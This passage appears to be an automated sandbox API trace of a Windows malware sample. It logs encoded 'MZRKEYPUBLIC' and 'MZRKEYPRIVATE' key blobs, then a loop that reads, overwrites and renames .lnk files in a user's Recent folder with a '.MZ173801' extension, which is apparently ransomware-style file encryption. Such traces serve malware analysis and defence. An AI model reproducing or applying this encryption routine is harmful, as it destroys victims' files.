rCuD3DtAfCtWbDoDPDr8K6YUghR8OBwq8tIBQVw68kwrrClwbDozLDn8OFwpMLw5HCucOFK8O6wp7CqsOfwrbDvMKFBsOCwofCsX7Dt0DChRTDs8KlIsOAw40yYlsWw4E6w5LCpxrDjT7CkMK4JsOGw7DCnB0yCWIeQcKxGlLCucOCwpHCt1DDtcOvwrhxcFjDs8OzM8Omwo3CncOUesOfw7B8ZlDDgjLCm3HCgsK3C1Yw", lpUsedDefaultChar=0x0) returned 2417 [0147.582] GetCurrentThreadId () returned 0xab4 [0147.582] GetCurrentThreadId () returned 0xab4 [0147.582] GetCurrentThreadId () returned 0xab4 [0147.582] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MZRKEYPUBLICwoDDl8KASgLCnSbDhTM0wrtyXcK3FsK8OcKMw4kDa8KJcUIsfEpCJGIow6/Diy8aw4vCm8OLMgVOw5dhVmwywq0awrcQdcKKYz49w4/DvAsDwol4C1XCmMKARGULwobDgsOCa1TCsRBpw64GAi3Di8O/ERPCqjwMFGHDuWx6fMO4wpfCmD7CncKFK8OKW1DDjWcLaFLDih7CtcOKLcOeXgHDuR7DssOBwonCuU08woxdZUvCngPDvMOcLMOww60xwrRww6opwpcUw5zCicKaw43Ctkh2Hn7CjHgJWRNFwrgpTGwzw41ow6ACOMOCKlvDoMONw63CkcOuXMOUwrnCl8ODwoDDhMOdel8qwrAif8Kowp49w4Bqw6/CsMKbUMOLwpHCkXEew6TClMO3UcOjDw7DlCPChAdQQsOOUcOCNENvbMOeS37DgyLDp8K+wrnCgMOSw5RdNsOLRW4tA8K8I8KXw4N1wrvDvHFqwobDpsO1wqjChUMPSsKhDMOZcWzDt8KAQ8Kdwq/Cuj3Di8KWPWrCk8K4BXIWwrnCgsK6aF0MPh4Yw6lFwobCr2VlacKjw5DCjj7Cnh1yw4fDlcOHw6gRHMKRw5fCpcOuwr3DpMKJwqY6wp5/w7U=", cchWideChar=644, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 644 [0147.582] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MZRKEYPUBLICwoDDl8KASgLCnSbDhTM0wrtyXcK3FsK8OcKMw4kDa8KJcUIsfEpCJGIow6/Diy8aw4vCm8OLMgVOw5dhVmwywq0awrcQdcKKYz49w4/DvAsDwol4C1XCmMKARGULwobDgsOCa1TCsRBpw64GAi3Di8O/ERPCqjwMFGHDuWx6fMO4wpfCmD7CncKFK8OKW1DDjWcLaFLDih7CtcOKLcOeXgHDuR7DssOBwonCuU08woxdZUvCngPDvMOcLMOww60xwrRww6opwpcUw5zCicKaw43Ctkh2Hn7CjHgJWRNFwrgpTGwzw41ow6ACOMOCKlvDoMONw63CkcOuXMOUwrnCl8ODwoDDhMOdel8qwrAif8Kowp49w4Bqw6/CsMKbUMOLwpHCkXEew6TClMO3UcOjDw7DlCPChAdQQsOOUcOCNENvbMOeS37DgyLDp8K+wrnCgMOSw5RdNsOLRW4tA8K8I8KXw4N1wrvDvHFqwobDpsO1wqjChUMPSsKhDMOZcWzDt8KAQ8Kdwq/Cuj3Di8KWPWrCk8K4BXIWwrnCgsK6aF0MPh4Yw6lFwobCr2VlacKjw5DCjj7Cnh1yw4fDlcOHw6gRHMKRw5fCpcOuwr3DpMKJwqY6wp5/w7U=", cchWideChar=644, lpMultiByteStr=0x253609c, cbMultiByte=644, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="MZRKEYPUBLICwoDDl8KASgLCnSbDhTM0wrtyXcK3FsK8OcKMw4kDa8KJcUIsfEpCJGIow6/Diy8aw4vCm8OLMgVOw5dhVmwywq0awrcQdcKKYz49w4/DvAsDwol4C1XCmMKARGULwobDgsOCa1TCsRBpw64GAi3Di8O/ERPCqjwMFGHDuWx6fMO4wpfCmD7CncKFK8OKW1DDjWcLaFLDih7CtcOKLcOeXgHDuR7DssOBwonCuU08woxdZUvCngPDvMOcLMOww60xwrRww6opwpcUw5zCicKaw43Ctkh2Hn7CjHgJWRNFwrgpTGwzw41ow6ACOMOCKlvDoMONw63CkcOuXMOUwrnCl8ODwoDDhMOdel8qwrAif8Kowp49w4Bqw6/CsMKbUMOLwpHCkXEew6TClMO3UcOjDw7DlCPChAdQQsOOUcOCNENvbMOeS37DgyLDp8K+wrnCgMOSw5RdNsOLRW4tA8K8I8KXw4N1wrvDvHFqwobDpsO1wqjChUMPSsKhDMOZcWzDt8KAQ8Kdwq/Cuj3Di8KWPWrCk8K4BXIWwrnCgsK6aF0MPh4Yw6lFwobCr2VlacKjw5DCjj7Cnh1yw4fDlcOHw6gRHMKRw5fCpcOuwr3DpMKJwqY6wp5/w7U=", lpUsedDefaultChar=0x0) returned 644 [0147.583] GetCurrentThreadId () returned 0xab4 [0147.583] GetCurrentThreadId () returned 0xab4 [0147.583] GetCurrentThreadId () returned 0xab4 [0147.583] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\eOmjS8.lnk" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\recent\\eomjs8.lnk"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x280 [0147.583] SetFilePointer (in: hFile=0x280, lDistanceToMove=0, lpDistanceToMoveHigh=0x19fa0c*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x19fa0c*=0) returned 0x0 [0147.583] SetFilePointer (in: hFile=0x280, lDistanceToMove=0, lpDistanceToMoveHigh=0x19fa04*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x19fa04*=0) returned 0x0 [0147.583] SetFilePointer (in: hFile=0x280, lDistanceToMove=0, lpDistanceToMoveHigh=0x19fa04*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x19fa04*=0) returned 0x4d6 [0147.583] SetFilePointer (in: hFile=0x280, lDistanceToMove=0, lpDistanceToMoveHigh=0x19fa04*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x19fa04*=0) returned 0x0 [0147.583] ReadFile (in: hFile=0x280, lpBuffer=0x253dea0, nNumberOfBytesToRead=0x4d6, lpNumberOfBytesRead=0x19fa18, lpOverlapped=0x0 | out: lpBuffer=0x253dea0*, lpNumberOfBytesRead=0x19fa18*=0x4d6, lpOverlapped=0x0) returned 1 [0147.584] CloseHandle (hObject=0x280) returned 1 [0147.584] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\eOmjS8.lnk" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\recent\\eomjs8.lnk"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x280 [0147.585] WriteFile (in: hFile=0x280, lpBuffer=0x253fed0*, nNumberOfBytesToWrite=0x4d6, lpNumberOfBytesWritten=0x19fa24, lpOverlapped=0x0 | out: lpBuffer=0x253fed0*, lpNumberOfBytesWritten=0x19fa24*=0x4d6, lpOverlapped=0x0) returned 1 [0147.585] CloseHandle (hObject=0x280) returned 1 [0147.586] MoveFileW (lpExistingFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\eOmjS8.lnk" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\recent\\eomjs8.lnk"), lpNewFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\eOmjS8.lnk.MZ173801" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\recent\\eomjs8.lnk.mz173801")) returned 1 [0147.587] GetCurrentThreadId () returned 0xab4 [0147.587] GetCurrentThreadId () returned 0xab4 [0147.587] GetCurrentThreadId () returned 0xab4 [0147.587] GetCurrentThreadId () returned 0xab4 [0147.587] GetCurrentThreadId () returned 0xab4 [0147.587] GetCurrentThreadId () returned 0xab4 [0147.587] FindNextFileW (in: hFindFile=0xa1b150, lpFindFileData=0x19fb50 | out: lpFindFileData=0x19fb50*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x772ff930, ftCreationTime.dwHighDateTime=0x1d61fff, ftLastAccessTime.dwLowDateTime=0x772ff930, ftLastAccessTime.dwHighDateTime=0x1d61fff, ftLastWriteTime.dwLowDateTime=0x7734bcd2, ftLastWriteTime.dwHighDateTime=0x1d61fff, nFileSizeHigh=0x0, nFileSizeLow=0x482, dwReserved0=0x10d3395a, dwReserved1=0x0, cFileName="fhSP KphnxTI.flv.lnk", cAlternateFileName="FHSPKP~1.LNK")) returned 1 [0147.587] FileTimeToLocalFileTime (in: lpFileTime=0x19fb64, lpLocalFileTime=0x19fac4 | out: lpLocalFileTime=0x19fac4) returned 1 [0147.587] FileTimeToDosDateTime (in: lpFileTime=0x19fac4, lpFatDate=0x19fb32, lpFatTime=0x19fb30 | out: lpFatDate=0x19fb32, lpFatTime=0x19fb30) returned 1 [0147.587] GetFileAttributesExW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\fhSP KphnxTI.flv.lnk" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\recent\\fhsp kphnxti.flv.lnk"), fInfoLevelId=0x0, lpFileInformation=0x19fa58 | out: lpFileInformation=0x19fa58*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x772ff930, ftCreationTime.dwHighDateTime=0x1d61fff, ftLastAccessTime.dwLowDateTime=0x772ff930, ftLastAccessTime.dwHighDateTime=0x1d61fff, ftLastWriteTime.dwLowDateTime=0x7734bcd2, ftLastWriteTime.dwHighDateTime=0x1d61fff, nFileSizeHigh=0x0, nFileSizeLow=0x482)) returned 1 [0147.587] GetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\fhSP KphnxTI.flv.lnk" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\recent\\fhsp kphnxti.flv.lnk")) returned 0x20 [0147.587] SetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\fhSP KphnxTI.flv.lnk", dwFileAttributes=0x80) returned 1 [0147.589] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="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", cchWideChar=2417, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 2417 [0147.589] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="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", cchWideChar=2417, lpMultiByteStr=0x252503c, cbMultiByte=2417, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="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", lpUsedDefaultChar=0x0) returned 2417 [0147.590] GetCurrentThreadId () returned 0xab4 [0147.590] GetCurrentThreadId () returned 0xab4 [0147.590] GetCurrentThreadId () returned 0xab4 [0147.590] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MZRKEYPUBLICwoDDl8KASgLCnSbDhTM0wrtyXcK3FsK8OcKMw4kDa8KJcUIsfEpCJGIow6/Diy8aw4vCm8OLMgVOw5dhVmwywq0awrcQdcKKYz49w4/DvAsDwol4C1XCmMKARGULwobDgsOCa1TCsRBpw64GAi3Di8O/ERPCqjwMFGHDuWx6fMO4wpfCmD7CncKFK8OKW1DDjWcLaFLDih7CtcOKLcOeXgHDuR7DssOBwonCuU08woxdZUvCngPDvMOcLMOww60xwrRww6opwpcUw5zCicKaw43Ctkh2Hn7CjHgJWRNFwrgpTGwzw41ow6ACOMOCKlvDoMONw63CkcOuXMOUwrnCl8ODwoDDhMOdel8qwrAif8Kowp49w4Bqw6/CsMKbUMOLwpHCkXEew6TClMO3UcOjDw7DlCPChAdQQsOOUcOCNENvbMOeS37DgyLDp8K+wrnCgMOSw5RdNsOLRW4tA8K8I8KXw4N1wrvDvHFqwobDpsO1wqjChUMPSsKhDMOZcWzDt8KAQ8Kdwq/Cuj3Di8KWPWrCk8K4BXIWwrnCgsK6aF0MPh4Yw6lFwobCr2VlacKjw5DCjj7Cnh1yw4fDlcOHw6gRHMKRw5fCpcOuwr3DpMKJwqY6wp5/w7U=", cchWideChar=644, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 644 [0147.590] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MZRKEYPUBLICwoDDl8KASgLCnSbDhTM0wrtyXcK3FsK8OcKMw4kDa8KJcUIsfEpCJGIow6/Diy8aw4vCm8OLMgVOw5dhVmwywq0awrcQdcKKYz49w4/DvAsDwol4C1XCmMKARGULwobDgsOCa1TCsRBpw64GAi3Di8O/ERPCqjwMFGHDuWx6fMO4wpfCmD7CncKFK8OKW1DDjWcLaFLDih7CtcOKLcOeXgHDuR7DssOBwonCuU08woxdZUvCngPDvMOcLMOww60xwrRww6opwpcUw5zCicKaw43Ctkh2Hn7CjHgJWRNFwrgpTGwzw41ow6ACOMOCKlvDoMONw63CkcOuXMOUwrnCl8ODwoDDhMOdel8qwrAif8Kowp49w4Bqw6/CsMKbUMOLwpHCkXEew6TClMO3UcOjDw7DlCPChAdQQsOOUcOCNENvbMOeS37DgyLDp8K+wrnCgMOSw5RdNsOLRW4tA8K8I8KXw4N1wrvDvHFqwobDpsO1wqjChUMPSsKhDMOZcWzDt8KAQ8Kdwq/Cuj3Di8KWPWrCk8K4BXIWwrnCgsK6aF0MPh4Yw6lFwobCr2VlacKjw5DCjj7Cnh1yw4fDlcOHw6gRHMKRw5fCpcOuwr3DpMKJwqY6wp5/w7U=", cchWideChar=644, lpMultiByteStr=0x253609c, cbMultiByte=644, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="MZRKEYPUBLICwoDDl8KASgLCnSbDhTM0wrtyXcK3FsK8OcKMw4kDa8KJcUIsfEpCJGIow6/Diy8aw4vCm8OLMgVOw5dhVmwywq0awrcQdcKKYz49w4/DvAsDwol4C1XCmMKARGULwobDgsOCa1TCsRBpw64GAi3Di8O/ERPCqjwMFGHDuWx6fMO4wpfCmD7CncKFK8OKW1DDjWcLaFLDih7CtcOKLcOeXgHDuR7DssOBwonCuU08woxdZUvCngPDvMOcLMOww60xwrRww6opwpcUw5zCicKaw43Ctkh2Hn7CjHgJWRNFwrgpTGwzw41ow6ACOMOCKlvDoMONw63CkcOuXMOUwrnCl8ODwoDDhMOdel8qwrAif8Kowp49w4Bqw6/CsMKbUMOLwpHCkXEew6TClMO3UcOjDw7DlCPChAdQQsOOUcOCNENvbMOeS37DgyLDp8K+wrnCgMOSw5RdNsOLRW4tA8K8I8KXw4N1wrvDvHFqwobDpsO1wqjChUMPSsKhDMOZcWzDt8KAQ8Kdwq/Cuj3Di8KWPWrCk8K4BXIWwrnCgsK6aF0MPh4Yw6lFwobCr2VlacKjw5DCjj7Cnh1yw4fDlcOHw6gRHMKRw5fCpcOuwr3DpMKJwqY6wp5/w7U=", lpUsedDefaultChar=0x0) returned 644 [0147.591] GetCurrentThreadId () returned 0xab4 [0147.591] GetCurrentThreadId () returned 0xab4 [0147.591] GetCurrentThreadId () returned 0xab4 [0147.591] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\fhSP KphnxTI.flv.lnk" 